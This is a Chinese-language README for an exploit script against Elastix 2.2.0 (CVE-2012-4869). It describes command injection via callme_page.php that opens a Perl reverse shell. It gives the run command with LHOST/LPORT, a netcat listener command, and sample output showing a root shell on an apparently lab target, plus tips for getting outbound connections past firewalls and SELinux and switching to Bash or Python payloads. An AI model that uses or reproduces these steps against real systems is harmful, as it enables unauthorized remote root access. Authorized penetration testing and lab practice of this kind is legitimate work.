Elastix 2.2.0 本地文件包含漏洞利用 - CVE-2012-4869

描述

该脚本利用了 Elastix 2.2.0 中的本地文件包含（LFI）漏洞，通过 callme_page.php 端点注入命令，实现远程代码执行（RCE）。该漏洞利用基于 CVE-2012-4869。

功能

• 绕过 TLS 证书验证。
• 使用 Perl 反向 Shell 载荷。
• 支持 自定义 LHOST 和 LPORT 用于反向 Shell。
• 抑制 HTTPS 安全警告。

依赖

• Python 3
• requests 模块

使用以下命令安装依赖：

pip install requests

用法

python exploit.py <URL> --LHOST <YOUR_IP> --LPORT <YOUR_PORT>

示例

python exploit.py "https://10.129.229.183" --LHOST "10.10.14.23" --LPORT 9001

设置反向 Shell 监听器

在运行漏洞利用之前，请在您的机器上启动一个 Netcat 监听器：

nc -lvnp 9001

漏洞利用执行输出

[*] Running Elastix 2.2.0 LFI Exploit - CVE-2012-4869
[*] Target: https://10.129.229.183
[*] Listening on 10.10.14.23:9001

[+] Exploit sent successfully, waiting for reverse shell...

[+] Connection from 10.129.229.183:41242
$ id
uid=0(root) gid=0(root) groups=0(root)

注意事项

• 如果反向 Shell 无法连接，请确保防火墙规则和 SELinux 设置允许出站连接。
• 如果 Perl 不可用，可以使用其他载荷（例如 Bash 或 Python）。
• 确保您的 LHOST 能被目标机器访问。

免责声明

本漏洞利用仅用于教育和授权安全测试目的。未经授权使用是违法的。作者不对该工具的滥用负责。